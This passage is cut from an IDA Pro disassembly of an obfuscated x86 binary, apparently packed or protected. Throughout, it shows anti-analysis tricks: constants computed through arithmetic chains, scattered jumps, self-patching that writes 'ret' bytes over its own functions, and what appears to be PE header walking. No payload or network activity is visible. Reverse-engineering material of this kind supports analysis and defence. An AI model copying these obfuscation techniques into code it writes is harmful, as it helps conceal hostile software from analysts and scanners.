; FUNCTION CHUNK AT 00446FF4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00449AAE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A488 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CAEA SIZE 0000000F BYTES

		xchg	esi, [esp+0Ch+var_C]
		pop	esi
		mov	[edx], al
		inc	dword ptr [ebp-28h]
		mov	eax, [ebp-24h]
		cmp	byte ptr [eax],	2Eh
		jnz	loc_43D72C
		jmp	loc_449AAE
sub_43FD63	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB8F

loc_43FD7D:				; CODE XREF: sub_43EB8F+EB5j
		pop	ecx
		xchg	ebp, [esp+0]
		mov	edx, ebp
		pop	ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_43EB8F

; =============== S U B	R O U T	I N E =======================================



sub_43FD86	proc near		; CODE XREF: kgbikm34:loc_4375A2j
					; sub_440841:loc_43794Aj ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00448280 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449514 SIZE 00000010 BYTES

		push	ecx
		mov	ecx, ebp
		jmp	loc_449514
sub_43FD86	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C167

loc_43FD8E:				; CODE XREF: sub_43C167+EF78j
		jl	loc_44DABE

loc_43FD94:				; CODE XREF: kgbikm34:0043B4C1j
		jmp	loc_4481D0
; END OF FUNCTION CHUNK	FOR sub_43C167
; ---------------------------------------------------------------------------
		xor	eax, 0F91BFF71h
		sub	esi, ecx
		jmp	loc_44DAB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440443

loc_43FDA6:				; CODE XREF: sub_440443:loc_43E45Cj
		push	edx
		push	5539D9C3h
		pop	edx
		and	edx, 7A57B7Fh
		xor	edx, 0EA56D4C5h
		sub	eax, edx
		pop	edx
		push	offset sub_444A4E
		jmp	loc_43BD11
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------

loc_43FDC6:				; CODE XREF: kgbikm34:loc_44DE25j
		push	eax
		push	0C204EE81h
		pop	eax
		rol	eax, 1Fh
		cmp	eax, 71E7A90Bh
		jmp	loc_43C3A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440F62

loc_43FDDB:				; CODE XREF: sub_440F62:loc_444094j
		sub	edx, 0F6401A70h
		shr	edi, 1Ah
		jmp	loc_44A37D
; END OF FUNCTION CHUNK	FOR sub_440F62
; ---------------------------------------------------------------------------

loc_43FDE9:				; CODE XREF: kgbikm34:00448AC4j
		rol	ecx, 9

; =============== S U B	R O U T	I N E =======================================



sub_43FDEC	proc near		; CODE XREF: sub_44074C+3p

; FUNCTION CHUNK AT 0044B91F SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	esp, 0FFFFFFECh
		push	offset sub_4424F7
		jmp	loc_44B91F
sub_43FDEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_43FDFD	proc near		; CODE XREF: kgbikm34:0043AC08j
					; kgbikm34:0043F958p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043BA3A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446289 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044960A SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	0AB15E4D9h
		pop	ecx
		and	ecx, 9894DC0Eh
		jmp	loc_44960A
sub_43FDFD	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_37. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43FE13:				; CODE XREF: kgbikm34:00448F9Ej
		jmp	locret_4465EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_43FE18:				; CODE XREF: sub_43E4C0+874Cj
		jmp	nullsub_94
; END OF FUNCTION CHUNK	FOR sub_43E4C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4438E2

loc_43FE1D:				; CODE XREF: sub_4438E2+12j
		jmp	loc_44CA3D
; END OF FUNCTION CHUNK	FOR sub_4438E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44710C

loc_43FE22:				; CODE XREF: sub_44710C-A83Ej
		jmp	loc_440D46
; END OF FUNCTION CHUNK	FOR sub_44710C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440443

loc_43FE27:				; CODE XREF: sub_440443+2496j
		not	esi
		jmp	loc_445B9C
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440834

loc_43FE2E:				; CODE XREF: sub_440834+C991j
		shl	ebp, 1Bh
		popf

loc_43FE32:				; CODE XREF: sub_440834:loc_441C49j
		mov	eax, [esp+0Ch+var_C]
		call	sub_44B537

loc_43FE3A:				; CODE XREF: sub_440834-160Dj
					; kgbikm34:004412AEj
		xchg	eax, [esp+0Ch+var_C]
		mov	edx, eax
		push	offset sub_43D4F5
		jmp	loc_43E9E0
; END OF FUNCTION CHUNK	FOR sub_440834

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43FE49	proc near		; CODE XREF: sub_447800+14j
		retn
sub_43FE49	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B6E1

loc_43FE4A:				; CODE XREF: sub_44B6E1:loc_44AC10j
		pop	edx
		push	ecx
		push	2C48BC2Dh
		pop	ecx
		rol	ecx, 18h
		xor	ecx, 0E20E8A68h
		or	ecx, 0A4F13DB8h
		jmp	loc_444BBB
; END OF FUNCTION CHUNK	FOR sub_44B6E1

; =============== S U B	R O U T	I N E =======================================



sub_43FE66	proc near		; DATA XREF: sub_43DC42+2D36o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043D3A7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F5D3 SIZE 00000014 BYTES

		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp+4+var_4]
		call	sub_44824C
		mov	eax, 510AEA73h
		call	sub_43BF6F
		jmp	loc_43F5D3
sub_43FE66	endp

; ---------------------------------------------------------------------------
		push	edx
		jmp	sub_44E29F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442B15

loc_43FE86:				; CODE XREF: sub_442B15-8FEBj
		add	eax, ebp
		add	eax, 279621D5h
		call	sub_444D26

loc_43FE93:				; CODE XREF: kgbikm34:00446172j
		jmp	loc_43DFD7
; END OF FUNCTION CHUNK	FOR sub_442B15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B5BA

loc_43FE98:				; CODE XREF: sub_43B5BA+5AC7j
		jmp	loc_447A69
; END OF FUNCTION CHUNK	FOR sub_43B5BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_43FE9D:				; CODE XREF: sub_43BCAD+7j
		jmp	loc_447CD0
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_43FEA2:				; CODE XREF: sub_439BDE+10j
					; sub_439BDE+129CEj
		xchg	eax, [esp+0]
		mov	edx, eax
		call	sub_4479B1
		pop	edx
		pop	eax
		call	sub_449D78

loc_43FEB3:				; DATA XREF: sub_4430E4+8o
		push	eax
		push	5CC40DE1h
		pop	eax
		xor	eax, 86C2CF0h
		sub	eax, 6B001361h
		add	eax, 16581260h
		xchg	eax, [esp-4+arg_0]
		push	eax
		jmp	loc_4413C7
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4400D1

loc_43FED5:				; CODE XREF: sub_4400D1:loc_444F01j
		push	7E0FF65Ah
		pop	esi
		xor	esi, 86C99A1Bh
		and	esi, 6E2D8FB8h
		rol	esi, 6
		jmp	loc_43C798
; END OF FUNCTION CHUNK	FOR sub_4400D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4371A9

loc_43FEEF:				; CODE XREF: sub_4371A9+A919j
		rol	esi, 0Fh
		and	esi, 32A80078h
		add	esi, 0DDBCD23Dh
		xchg	esi, [esp+4+var_4]
		jmp	loc_4421D5
; END OF FUNCTION CHUNK	FOR sub_4371A9
; ---------------------------------------------------------------------------
		cmp	ebx, 4D460154h
		jmp	loc_439F32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_43FF11:				; CODE XREF: sub_43D494:loc_441037j
		xchg	edx, ebx

loc_43FF13:				; CODE XREF: kgbikm34:loc_449B8Bj
		cmp	esi, ebx
		jmp	loc_44393B
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------
		push	esi
		push	0D71CAA1Ch
		pop	esi
		xor	esi, 0CD25E96Ah
; START	OF FUNCTION CHUNK FOR sub_43F145

loc_43FF27:				; CODE XREF: sub_43F145+4A3Dj
		jmp	loc_437886
; END OF FUNCTION CHUNK	FOR sub_43F145
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4407FD

loc_43FF2C:				; CODE XREF: sub_4407FD-BC8j
		jns	loc_437A88
; END OF FUNCTION CHUNK	FOR sub_4407FD

; =============== S U B	R O U T	I N E =======================================



sub_43FF32	proc near		; CODE XREF: sub_43F5F7:loc_444573p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00438E02 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043AA6F SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0043ACD3 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0043EC37 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440AE6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00442A1A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00442FCB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004432AD SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004432FE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444CE1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004455CF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004459E2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447F68 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044AEE4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044BB08 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044C7D5 SIZE 00000005 BYTES

		xchg	ecx, [esp-4+arg_0]
		pop	ecx
		xchg	ebp, [esp-8+arg_4]
		mov	edx, ebp
		pop	ebp
		mov	eax, [esp+0]
		push	edx
		jmp	loc_444CE1
sub_43FF32	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DFE5

loc_43FF45:				; CODE XREF: sub_43DFE5:loc_44BCF9j
		pop	eax
		xor	eax, 0B8BAEB59h
		add	eax, 0E0A07CD3h
		add	eax, ebp
		add	eax, 0EA06DCADh
		mov	eax, [eax]
		mov	eax, [eax+3Ch]

loc_43FF5F:				; CODE XREF: kgbikm34:loc_43982Aj
		cdq
		jmp	loc_43C5D7
; END OF FUNCTION CHUNK	FOR sub_43DFE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FD63

loc_43FF65:				; CODE XREF: kgbikm34:0043F4A1j
					; sub_43FD63:loc_446FF4j
		sbb	edx, 909EB4h
		mov	esi, [ecx]
		push	7CEF9A16h
		popf

loc_43FF73:				; CODE XREF: kgbikm34:loc_43F495j
					; kgbikm34:loc_44A117j
		call	sub_43FD1A
; END OF FUNCTION CHUNK	FOR sub_43FD63
; START	OF FUNCTION CHUNK FOR sub_44AB32

loc_43FF78:				; CODE XREF: sub_44AB32+22j
		jmp	loc_4460EA
; END OF FUNCTION CHUNK	FOR sub_44AB32
; ---------------------------------------------------------------------------

loc_43FF7D:				; CODE XREF: kgbikm34:004447E3j
		jmp	locret_43F0B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_43FF82:				; CODE XREF: sub_43B1D6:loc_448752j
		mov	eax, [eax]
		mov	ds:dword_445F74, eax
		xor	eax, eax
		mov	ds:dword_445F68, eax
		jmp	loc_44B282
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; ---------------------------------------------------------------------------

loc_43FF95:				; CODE XREF: kgbikm34:0043C380j
		cmp	edi, 0CF9CA2Ah
		jmp	loc_44683B
; ---------------------------------------------------------------------------
		jmp	ds:dword_41E1B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BF6F

loc_43FFA6:				; CODE XREF: sub_43BF6F+2B99j
		jmp	loc_4415F5
; END OF FUNCTION CHUNK	FOR sub_43BF6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B228

loc_43FFAB:				; CODE XREF: sub_43B228+5j
		jmp	nullsub_347
; END OF FUNCTION CHUNK	FOR sub_43B228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CF08

loc_43FFB0:				; CODE XREF: sub_44CF08-14A93j
		jmp	nullsub_29
; END OF FUNCTION CHUNK	FOR sub_44CF08
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		or	al, 24h
		push	ecx
		pop	edx
		pop	ecx
		jo	loc_449A84
		jmp	loc_43B58B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F524

loc_43FFC6:				; CODE XREF: sub_43F524+9j
		mov	ds:off_41E0DC, eax
		lea	eax, loc_444903
		mov	byte ptr [eax],	0C3h
		jmp	loc_444903
; END OF FUNCTION CHUNK	FOR sub_43F524
; ---------------------------------------------------------------------------
		call	nullsub_122
		jmp	ds:dword_41E0E0
; ---------------------------------------------------------------------------

loc_43FFE5:				; CODE XREF: kgbikm34:00446906j
		jmp	nullsub_17
; ---------------------------------------------------------------------------
		push	0D1641B86h
		pop	eax
		or	eax, 7F78E44Eh
		add	eax, 0CBBC539Dh
		push	esi
		pushf
		push	offset loc_443157
		jmp	loc_447205
; ---------------------------------------------------------------------------

loc_440008:				; DATA XREF: sub_44B4F5+7o
		push	edx
		push	offset sub_445DB2
		jmp	locret_44D7ED
; ---------------------------------------------------------------------------
		pop	ebp
		jmp	sub_43A23B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440F99

loc_440019:				; CODE XREF: sub_440F99:loc_43A5E1j
		xor	ebx, 5F269B45h
		add	ebx, 2C9675FEh
		mov	[ebx], eax
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_440F99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44964D

loc_440029:				; CODE XREF: sub_44964D+95Bj
		jmp	loc_443336
; END OF FUNCTION CHUNK	FOR sub_44964D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D045

loc_44002E:				; CODE XREF: sub_43D045+CBD3j
		jmp	loc_444A08
; END OF FUNCTION CHUNK	FOR sub_43D045
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C167

loc_440033:				; CODE XREF: sub_43C167:loc_440F2Aj
		rol	eax, 7
		push	edi
		jmp	loc_442546
; END OF FUNCTION CHUNK	FOR sub_43C167
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E0B

loc_44003C:				; CODE XREF: sub_440E0B:loc_43E432j
		jnz	loc_43FCB3
		jmp	loc_44AC4A
; END OF FUNCTION CHUNK	FOR sub_440E0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ABBB

loc_440047:				; CODE XREF: sub_44ABBB:loc_439FBDj
					; sub_44273E:loc_4454AFj
		mov	eax, [ebp-4]
		call	sub_43CECD
		test	al, al
		jnz	loc_4441BC

loc_440057:				; CODE XREF: sub_43DC9A+1B2Aj
					; sub_441313+6j ...
		pop	ecx
		jmp	loc_4441B9
; END OF FUNCTION CHUNK	FOR sub_44ABBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C607

loc_44005D:				; CODE XREF: sub_44C607+15j
		popf

loc_44005E:				; CODE XREF: sub_4407E7+7E7Dj
		mov	eax, [ebp-14h]
		mov	eax, [eax+60h]
		push	esi
		push	18FE3641h
		pop	esi
		jmp	loc_43F6E2
; END OF FUNCTION CHUNK	FOR sub_44C607
; ---------------------------------------------------------------------------

loc_440070:				; CODE XREF: kgbikm34:loc_443F33j
		ja	loc_44BD0C
		jmp	loc_43E303
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_208. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_44007C:				; CODE XREF: sub_43741E+14FAFj
		jmp	loc_43A867
; END OF FUNCTION CHUNK	FOR sub_43741E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4468C5

loc_440081:				; CODE XREF: sub_4468C5+9j
		jmp	sub_44661D
; END OF FUNCTION CHUNK	FOR sub_4468C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44647B

loc_440086:				; CODE XREF: sub_44647B:loc_43917Aj
					; sub_44647B+43ABj
		add	esi, 0DAF9E11Eh
		mov	[esi], eax
		pop	esi
		lea	eax, nullsub_9
		mov	byte ptr [eax],	0C3h
		jmp	loc_44B1BF
; END OF FUNCTION CHUNK	FOR sub_44647B
; ---------------------------------------------------------------------------
		call	nullsub_2
		jmp	loc_44DCBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440ADA

loc_4400A7:				; CODE XREF: sub_440ADA+7j
		mov	eax, edx
		pop	edx

loc_4400AA:				; CODE XREF: sub_440F62+448Bj
					; sub_440F62+B7DAj
		xchg	eax, edx
		call	sub_4487F2
		retn
; END OF FUNCTION CHUNK	FOR sub_440ADA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB0D

loc_4400B1:				; CODE XREF: sub_43EB0D+E9EAj
		jmp	sub_43EB8F
; END OF FUNCTION CHUNK	FOR sub_43EB0D
; ---------------------------------------------------------------------------
		dw 0DE32h
		dd 0
dword_4400BC	dd 9245A955h, 32718CCCh	; DATA XREF: sub_441D2F-A8A8o
					; sub_440F62+941Co
		db 36h,	6Ch, 0

; =============== S U B	R O U T	I N E =======================================



sub_4400C7	proc near		; CODE XREF: sub_446F79:loc_437F4Cj
					; kgbikm34:004384C7p ...
		push	offset loc_445799
		jmp	nullsub_40
sub_4400C7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4400D1	proc near		; CODE XREF: kgbikm34:00441066j
					; sub_44CF08:loc_4420ADp

; FUNCTION CHUNK AT 0043C798 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FED5 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00444F01 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A55A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BC6C SIZE 00000014 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	edx, 2E61AE8Bh
		xor	eax, edx
		pop	edx
		push	esi
		pushf
		jmp	loc_444F01
sub_4400D1	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_80. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4390CF

loc_4400E6:				; CODE XREF: sub_4390CF+F3E9j
		jmp	loc_44A889
; END OF FUNCTION CHUNK	FOR sub_4390CF
; ---------------------------------------------------------------------------

loc_4400EB:				; CODE XREF: kgbikm34:0043C006j
		jmp	loc_43EC01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439003

loc_4400F0:				; CODE XREF: sub_439003+E48j
		jmp	loc_442BCE
; END OF FUNCTION CHUNK	FOR sub_439003

; =============== S U B	R O U T	I N E =======================================



sub_4400F5	proc near		; DATA XREF: sub_43BCAD:loc_4481A1o

; FUNCTION CHUNK AT 0044C69B SIZE 00000005 BYTES

		mov	eax, [ebp-0Ch]
		mov	esp, ebp
		push	offset loc_43C7BF
		jmp	loc_44C69B
sub_4400F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_440104	proc near		; CODE XREF: kgbikm34:004452DAj
					; kgbikm34:loc_44D148p
		xchg	eax, [esp+0]
		pop	eax
		lea	eax, sub_442E1B
		mov	byte ptr [eax],	0C3h
		jmp	sub_442E1B
sub_440104	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_440116	proc near		; CODE XREF: sub_404954+1F8p
					; kgbikm34:00449A4Bj
					; DATA XREF: ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043C7A7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004431A5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00448914 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044897E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044BF5B SIZE 00000005 BYTES

		push	ecx
		mov	ecx, eax
		call	sub_438C9C

loc_44011E:				; CODE XREF: sub_44114F:loc_447AAFj
		pop	edx
		mov	edi, [edi]
		add	eax, edi
		xchg	esi, [esp+0]
		mov	edi, esi
		pop	esi
		xor	edx, edx
		jmp	loc_4431A5
sub_440116	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		add	ecx, 8BE7830Bh
		jmp	loc_43F232
; ---------------------------------------------------------------------------

loc_44013B:				; CODE XREF: kgbikm34:004385CEj
		jnb	loc_443C72

; =============== S U B	R O U T	I N E =======================================



sub_440141	proc near		; CODE XREF: sub_4407E7+Cp

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 0043798A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00438632 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00439743 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043A894 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C8ED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D901 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043EA5A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043F1B7 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0044701F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448597 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B145 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044B579 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044B8C5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044BDCE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044D3A1 SIZE 00000012 BYTES

		xchg	edx, [esp+0]
		pop	edx
		or	eax, eax
		jnz	loc_43DA6B
		jmp	loc_44701F
sub_440141	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_32. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_440153:				; CODE XREF: kgbikm34:0043D087j
		jmp	loc_44307A
; ---------------------------------------------------------------------------

loc_440158:				; DATA XREF: sub_43D345+99E4o
		mov	[edi], eax
		pop	edi
		lea	eax, nullsub_350
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_350
; ---------------------------------------------------------------------------

loc_440169:				; CODE XREF: kgbikm34:004439A8j
		mov	eax, [esp]
		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp]

loc_440172:				; CODE XREF: kgbikm34:loc_4499EDj
		jmp	loc_44316E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D71B

loc_440177:				; CODE XREF: sub_44D71B+7j
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-8], 0
		jnz	loc_441190
		jmp	loc_44118A
; END OF FUNCTION CHUNK	FOR sub_44D71B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_304. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443681

loc_44018D:				; CODE XREF: sub_443681+6j
		jmp	loc_43D3C7
; END OF FUNCTION CHUNK	FOR sub_443681
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E085

loc_440192:				; CODE XREF: sub_43E085+Ej
		jmp	loc_449A10
; END OF FUNCTION CHUNK	FOR sub_43E085
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4395BB

loc_440197:				; CODE XREF: sub_4395BB:loc_43F436j
		pop	esi
		push	edx
		push	7FAFD9C6h
		pop	edx
		jmp	loc_446976
; END OF FUNCTION CHUNK	FOR sub_4395BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C75F

loc_4401A4:				; CODE XREF: sub_44C75F:loc_43C42Cj
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		mov	edx, [ebp+arg_0]
		push	offset loc_44BE56
		jmp	loc_43E193
; END OF FUNCTION CHUNK	FOR sub_44C75F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ADC2

loc_4401BA:				; CODE XREF: sub_44ADC2-DAE2j
		add	eax, 0EB3F289Ch
		push	offset sub_43D33D
		jmp	nullsub_155
; END OF FUNCTION CHUNK	FOR sub_44ADC2
; ---------------------------------------------------------------------------

loc_4401CA:				; CODE XREF: kgbikm34:loc_438B66j
		add	edi, 6B2C7C1Ch
		xchg	edi, [esp]
		jmp	loc_4491B7
; ---------------------------------------------------------------------------

loc_4401D8:				; CODE XREF: kgbikm34:00449955j
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		jmp	loc_442685
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AFD

loc_4401E3:				; CODE XREF: sub_443AFD:loc_4396A5j
		or	edi, 468595ECh
		add	edi, 0A96C37F2h
		xchg	edi, [esp+0]
		jmp	loc_43CDE9
; END OF FUNCTION CHUNK	FOR sub_443AFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DE4C

loc_4401F7:				; CODE XREF: sub_44DE4C+1Fj
		xor	ecx, 6219E51Eh
		call	sub_4447FD

loc_440202:				; CODE XREF: sub_44527A+56E1j
		jmp	loc_4499D0
; END OF FUNCTION CHUNK	FOR sub_44DE4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_440207:				; CODE XREF: sub_44114F-6670j
		jmp	nullsub_175
; END OF FUNCTION CHUNK	FOR sub_44114F
; ---------------------------------------------------------------------------

loc_44020C:				; CODE XREF: kgbikm34:004396E0j
		sub	esi, 0C36F07F2h
		add	esi, 4FD93D20h
		add	esi, ebp
		call	sub_43E6BD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_34. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B26D

loc_440220:				; CODE XREF: sub_43B26D+11D41j
		jmp	loc_43DE85
; END OF FUNCTION CHUNK	FOR sub_43B26D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CAB5

loc_440225:				; CODE XREF: sub_43CAB5-216Dj
		jmp	loc_44C144
; END OF FUNCTION CHUNK	FOR sub_43CAB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D164

loc_44022A:				; CODE XREF: sub_43D164:loc_43E230j
		push	offset sub_43CB97
		jmp	nullsub_338
; END OF FUNCTION CHUNK	FOR sub_43D164
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4437D8

loc_440234:				; CODE XREF: sub_4437D8:loc_44ACB9j
		add	ecx, 0B498A71Bh
		sub	ecx, 0D566FCE7h
		or	ecx, 87CFFFDFh
		rol	ecx, 17h
		add	ecx, 0CBBAB02Dh
		add	eax, ecx
		jmp	loc_445630
; END OF FUNCTION CHUNK	FOR sub_4437D8
; ---------------------------------------------------------------------------
		jmp	ds:off_41E0D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_44025C:				; CODE XREF: sub_43D494+3C21j
		jmp	sub_446779
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445E00

loc_440261:				; CODE XREF: sub_449D59:loc_43A268j
					; sub_445E00+7j ...
		jno	loc_448D73
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_44824C
		mov	eax, 92A798AFh
		call	sub_43BF6F
		jmp	loc_43F007
; END OF FUNCTION CHUNK	FOR sub_445E00
; ---------------------------------------------------------------------------

loc_440280:				; CODE XREF: kgbikm34:loc_439FC2j
		xor	esi, edi
		jmp	loc_4473B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E49F

loc_440287:				; CODE XREF: sub_43E49F+14j
		push	0B06776A9h
		pop	ebx
		rol	ebx, 1Ch
		sub	ebx, ds:4000F8h
		jmp	loc_438A8A
; END OF FUNCTION CHUNK	FOR sub_43E49F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44964D

loc_44029B:				; CODE XREF: sub_44964D-B944j
					; DATA XREF: sub_442BB1+13o
